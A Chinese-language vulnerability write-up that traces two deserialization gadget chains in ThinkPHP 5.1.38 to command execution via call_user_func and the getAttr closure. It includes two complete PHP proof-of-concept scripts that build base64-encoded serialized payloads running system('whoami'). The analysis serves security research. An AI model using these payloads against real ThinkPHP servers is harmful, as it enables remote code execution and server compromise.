环境

Thinkphp5.1.38

PHP7.3.4

触发条件

__destruct方法或者__wakeup方法

测试代码

源码分析

链条一

漏洞起点文件

think\process\pipes\Windows.php

__destruct触发removeFiles方法

file_exists会把传入的参数当作字符串处理,触发__toString魔术方法

全局搜索下__toString,跟进think\model\concern\Conversion.php下的__toString方法,调用toJson方法

跟进toJson方法,调用toArray方法,然后json格式返回。

跟进toArray方法,需要在toArray方法中寻找到可控变量->方法(可控变量)来触发__call魔术方法。

为什么需要__call方法呢?因为PHP为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,所以使用 __call 方法来避免,而__call方法中又常利用call_user_funccall_user_func_array来进行动态调用,从而可能导致命令执行。toArray中的$relation->visible($name)正好符合这个条件。

首先进行if (!empty($this->append))条件判断,变量append可控,然后跟进getRelation方法,位于think\model\concern\RelationShip.php中,只要传入的参数$name不为空,且不在$this->ralation中即可返回null。

跟进getAttr方法,位于think\model\concern\Attribute.php中,调用了getData方法。

跟进getData方法,位于think\model\concern\Attribute.php中,只要传入的参数name存在$this->data中,就返回$this->data[$name],因为这里name,$this->data可控,所以返回值可控。

也就是toArray方法中的ralation变量可控,就可以符合可控变量->方法(可控变量)来触发__call魔术方法。寻找不存在visible方法且存在__call方法的类。

因为调用__call方法,第一个参数是不可控的,所以限制了挺多。最后找到了think\Request.php类下的__call方法

跟进think\Request.php下的__call方法。只要$method$this->hook中就可以触发call_user_func_array,且两个参数都可控,但是args经过了array_unshift函数插入导致args数组的第一个值是不可控的,但是我们可以调用任何方法。TP5有个常用的RCE漏洞是think\Request.php中的input方法。

跟进input方法,我们知道这个RCE漏洞是实例化类的时候没有过滤,需要$data$filter$name可控,然后进入filterValue方法中执行了call_user_func导致了命令执行,但是这边data变量却不可控。寻找调用input方法的方法。

跟进param方法,位于think\Request中,但是这里的$name依旧不可控,继续寻找调用param方法的方法

跟进isAjax方法,位于think\Request中,this->config['var_ajax']变量可控,也就是input中的name可控。

但TP5的request RCE漏洞的filter参数是通过GET传入,但这边的filter我们又怎么控制呢?

最后我们跟进下input方法,看看如何触发命令执行。getFilter方法的返回值赋值给$filter变量

跟进getFilter方法,位于think\Request中。$filter来自$this->filter所以可控。

最后进入array_walk_recusive函数,触发我们熟悉的filterValue方法。

跟进filterValue方法,通过call_user_func触发命令执行。

完整POP链条

think\process\pipes\Windows->__destruct()->think\process\pipes\Windows->__removeFiles()->file_exists()->think\model\Pivot->_toString()->think\model\Pivot->_toJson()->think\model\Pivot->_toArray()->think\Request->visible()->think\Request->__call->call_user_func_array()->think\Request->isAjax()->think\Request->param()->think\Request->input()->array_walk_recursive()->think\Request->filterValue()->call_user_func()

POC编写

注:自 PHP 5.4.0 起,PHP 实现了代码复用的一个方法,称为 traits。Trait 不能通过它自身来实例化,通过在类中使用use 关键字,声明要组合的Trait名称。所以我们通过寻找找到了同时组合model\concern\Conversionmodel\concern\Attribute类的think\Model

think\Model类又是抽象类,也是不能直接来实例化的,需要寻找它的继承类来实例化,来间接调用。最后找到了think\model\Pivot

<?php

namespace think{
    class Request
    {
        protected $hook = [];
        protected $config = [];
        protected $filter;
        protected $param = [];

        public function __construct(){
            $this->filter = 'system';
            $this->param = ['whoami'];
            $this->hook = ['visible'=>[$this,'isAjax']];
            $this->config = ['var_ajax' => ''];
        }
    }

    abstract class Model{

        protected $append = [];
        private $data = [];

        function __construct()
        {
            $this->append = ['eas' => ['eas']];
            $this->data = ['eas' => new Request()];
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model{

    }
}

namespace think\process\pipes{
    use think\model\Pivot;

    class Pipes{}

    class Windows extends Pipes{

        private $files = [];

        function __construct(){
            $this->files = [new Pivot()];
        }
    }
}

namespace{
    echo base64_encode(serialize(new think\process\pipes\Windows()));
}

链条二

漏洞点在think\model\concern\AttributegetAttr方法中的$closure($value, $this->data)

POP链条的前部分触发点和链条一一样,进入getAttr方法

跟进getAttr方法,$value的值由getData方法返回值决定,由链条一我们可以知道$value可控,然后就是$closure是由$this->withAttr[$fieldName]赋值,$this->withAttr可控,$fieldNameLoader::parseName($name)赋值。

跟进Loader::parseName方法,只是简单的过滤匹配,所以fieldName也是可控的,即$closure可控

完整POP链条

think\process\pipes\Windows->__destruct()->think\process\pipes\Windows->__removeFiles()->file_exists()->think\model\Pivot->_toString()->think\model\Pivot->_toJson()->think\model\Pivot->_toArray()->think\model\Pivot->getAttr()->$closure($value, $this->data)

POC编写

注:在php中如果传入多余的参数时,会被函数忽略。

<?php

namespace think{

    abstract class Model{

        private $data = [];
        private $withAttr = [];

        function __construct()
        {
            $this->withAttr = ['system' => 'system'];
            $this->data = ['system' => 'whoami'];
        }
    }
}

namespace think\model{
    use think\Model;

    class Pivot extends Model{

    }
}


namespace think\process\pipes{
    use think\model\Pivot;

    class Pipes{}

    class Windows extends Pipes{

        private $files = [];

        function __construct(){
            $this->files = [new Pivot()];
        }
    }
}

namespace{
    echo base64_encode(serialize(new think\process\pipes\Windows()));
}

总结

往往一条比较长的反序列链条中,可以被触发的漏洞点不止一个。需要自己从__destruct方法开始一点点看过去。(方法比较笨,但不会错过每一个点)。当然每个人挖掘方式不一样,从__destruct开始是正着挖,有的师傅喜欢先定位危险函数如call_user_func,然后逆着挖。个人觉得正着挖比较好,逆着挖个人感觉对新手不太友好。

点击收藏 | 0 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖